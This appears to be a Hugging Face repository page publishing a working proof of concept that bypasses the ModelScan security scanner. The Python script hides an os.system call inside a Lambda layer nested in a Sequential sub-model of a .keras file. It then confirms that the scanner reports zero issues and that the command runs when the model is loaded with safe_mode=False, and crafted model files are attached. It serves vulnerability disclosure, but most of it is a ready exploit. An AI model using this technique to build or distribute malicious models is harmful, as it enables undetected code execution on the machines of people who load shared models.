Instructions to use MomoFan/keras-nested-lambda-scanner-bypass-poc with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Keras
How to use MomoFan/keras-nested-lambda-scanner-bypass-poc with Keras:
# !pip install -U keras tensorflow huggingface_hub # Keras needs TensorFlow installed to read "hf://" paths, so the tensorflow backend is selected here; # "jax" and "torch" also work for computation once TensorFlow is installed. import os os.environ["KERAS_BACKEND"] = "tensorflow" import keras model = keras.saving.load_model("hf://MomoFan/keras-nested-lambda-scanner-bypass-poc") - Notebooks
- Google Colab
- Kaggle
Upload 3 files
Browse files- poc_double_nested.keras +0 -0
- poc_keras_nested_lambda.py +136 -0
- poc_nested_sequential.keras +0 -0
poc_double_nested.keras
ADDED
|
Binary file (28.4 kB). View file
|
|
|
poc_keras_nested_lambda.py
ADDED
|
@@ -0,0 +1,136 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
ModelScan Keras .keras Nested Lambda Bypass PoC
|
| 4 |
+
================================================
|
| 5 |
+
|
| 6 |
+
ModelScan v0.8.8 (latest) fails to detect Lambda layers hidden inside
|
| 7 |
+
nested sub-models in .keras files. The scanner only checks top-level
|
| 8 |
+
config.layers[*].class_name == "Lambda", missing Lambdas nested inside
|
| 9 |
+
Sequential/Functional sub-models.
|
| 10 |
+
|
| 11 |
+
This allows an attacker to craft a malicious .keras model that:
|
| 12 |
+
1. Contains arbitrary code in a Lambda layer
|
| 13 |
+
2. Passes ModelScan with zero issues detected
|
| 14 |
+
3. Executes the code when loaded with safe_mode=False
|
| 15 |
+
|
| 16 |
+
Impact: Scanner bypass → undetected arbitrary code execution on model load
|
| 17 |
+
|
| 18 |
+
Tested: ModelScan 0.8.8, Keras 3.13.2, Python 3.12
|
| 19 |
+
"""
|
| 20 |
+
|
| 21 |
+
import keras
|
| 22 |
+
import numpy as np
|
| 23 |
+
import json
|
| 24 |
+
import zipfile
|
| 25 |
+
import os
|
| 26 |
+
import sys
|
| 27 |
+
|
| 28 |
+
def create_malicious_model(output_path, payload_cmd="echo PWNED > /tmp/pwned.txt"):
|
| 29 |
+
"""Create a .keras file with a Lambda layer hidden inside a nested sub-model."""
|
| 30 |
+
|
| 31 |
+
# The Lambda is hidden inside a Sequential sub-model
|
| 32 |
+
# ModelScan only checks top-level layers, so it misses this entirely
|
| 33 |
+
inner_model = keras.Sequential([
|
| 34 |
+
keras.layers.Dense(10),
|
| 35 |
+
keras.layers.Lambda(
|
| 36 |
+
lambda x: __import__('os').system(payload_cmd) or x
|
| 37 |
+
),
|
| 38 |
+
], name="feature_extractor")
|
| 39 |
+
|
| 40 |
+
outer_model = keras.Sequential([
|
| 41 |
+
keras.layers.Input(shape=(5,)),
|
| 42 |
+
inner_model,
|
| 43 |
+
keras.layers.Dense(1)
|
| 44 |
+
])
|
| 45 |
+
|
| 46 |
+
outer_model.save(output_path)
|
| 47 |
+
return outer_model
|
| 48 |
+
|
| 49 |
+
|
| 50 |
+
def verify_scanner_bypass(model_path):
|
| 51 |
+
"""Verify that ModelScan does NOT detect the malicious Lambda."""
|
| 52 |
+
from modelscan.modelscan import ModelScan
|
| 53 |
+
|
| 54 |
+
scanner = ModelScan()
|
| 55 |
+
results = scanner.scan(model_path)
|
| 56 |
+
issues = results['issues']
|
| 57 |
+
|
| 58 |
+
print(f"ModelScan results for {os.path.basename(model_path)}:")
|
| 59 |
+
print(f" Total issues: {len(issues)}")
|
| 60 |
+
print(f" Summary: {results['summary']['total_issues_by_severity']}")
|
| 61 |
+
|
| 62 |
+
if len(issues) == 0:
|
| 63 |
+
print(f" ✅ BYPASS CONFIRMED: ModelScan found zero issues!")
|
| 64 |
+
return True
|
| 65 |
+
else:
|
| 66 |
+
print(f" ❌ Detected: {issues}")
|
| 67 |
+
return False
|
| 68 |
+
|
| 69 |
+
|
| 70 |
+
def verify_config_structure(model_path):
|
| 71 |
+
"""Show that the Lambda is nested and invisible to top-level scanning."""
|
| 72 |
+
with zipfile.ZipFile(model_path, 'r') as zf:
|
| 73 |
+
with zf.open('config.json', 'r') as f:
|
| 74 |
+
config = json.loads(f.read())
|
| 75 |
+
|
| 76 |
+
print(f"\nConfig structure analysis for {os.path.basename(model_path)}:")
|
| 77 |
+
|
| 78 |
+
# Check top level
|
| 79 |
+
top_layers = config.get('config', {}).get('layers', [])
|
| 80 |
+
top_lambdas = [l for l in top_layers if l.get('class_name') == 'Lambda']
|
| 81 |
+
print(f" Top-level layers: {[l['class_name'] for l in top_layers]}")
|
| 82 |
+
print(f" Top-level Lambda count: {len(top_lambdas)}")
|
| 83 |
+
|
| 84 |
+
# Check nested
|
| 85 |
+
for layer in top_layers:
|
| 86 |
+
inner_layers = layer.get('config', {}).get('layers', [])
|
| 87 |
+
if inner_layers:
|
| 88 |
+
nested_lambdas = [l for l in inner_layers if l.get('class_name') == 'Lambda']
|
| 89 |
+
if nested_lambdas:
|
| 90 |
+
print(f" Nested Lambda in '{layer['config'].get('name', 'unknown')}': {len(nested_lambdas)} found")
|
| 91 |
+
print(f" → ModelScan CANNOT see these nested Lambdas!")
|
| 92 |
+
|
| 93 |
+
|
| 94 |
+
def verify_code_execution(model_path):
|
| 95 |
+
"""Load the model with safe_mode=False and verify code execution."""
|
| 96 |
+
print(f"\nLoading {os.path.basename(model_path)} with safe_mode=False...")
|
| 97 |
+
|
| 98 |
+
model = keras.saving.load_model(model_path, safe_mode=False)
|
| 99 |
+
result = model.predict(np.ones((1, 5)), verbose=0)
|
| 100 |
+
print(f" Prediction: {result.flatten()}")
|
| 101 |
+
|
| 102 |
+
if os.path.exists('/tmp/pwned.txt'):
|
| 103 |
+
print(f" 🔴 CODE EXECUTED: /tmp/pwned.txt contains: {open('/tmp/pwned.txt').read().strip()}")
|
| 104 |
+
os.unlink('/tmp/pwned.txt')
|
| 105 |
+
else:
|
| 106 |
+
print(f" Code execution verification: check command output")
|
| 107 |
+
|
| 108 |
+
|
| 109 |
+
if __name__ == "__main__":
|
| 110 |
+
model_path = "/tmp/poc_nested_lambda.keras"
|
| 111 |
+
|
| 112 |
+
print("=" * 70)
|
| 113 |
+
print("ModelScan .keras Nested Lambda Bypass PoC")
|
| 114 |
+
print("=" * 70)
|
| 115 |
+
|
| 116 |
+
# Step 1: Create malicious model
|
| 117 |
+
print("\n[1] Creating malicious .keras model with nested Lambda...")
|
| 118 |
+
create_malicious_model(model_path)
|
| 119 |
+
print(f" Saved to: {model_path}")
|
| 120 |
+
|
| 121 |
+
# Step 2: Show config structure
|
| 122 |
+
print("\n[2] Analyzing config structure...")
|
| 123 |
+
verify_config_structure(model_path)
|
| 124 |
+
|
| 125 |
+
# Step 3: Run ModelScan
|
| 126 |
+
print("\n[3] Running ModelScan...")
|
| 127 |
+
bypassed = verify_scanner_bypass(model_path)
|
| 128 |
+
|
| 129 |
+
# Step 4: Verify code execution
|
| 130 |
+
if bypassed:
|
| 131 |
+
print("\n[4] Verifying code execution...")
|
| 132 |
+
verify_code_execution(model_path)
|
| 133 |
+
|
| 134 |
+
print("\n" + "=" * 70)
|
| 135 |
+
print("RESULT: Scanner bypass " + ("CONFIRMED ✅" if bypassed else "FAILED ❌"))
|
| 136 |
+
print("=" * 70)
|
poc_nested_sequential.keras
ADDED
|
Binary file (21.3 kB). View file
|
|
|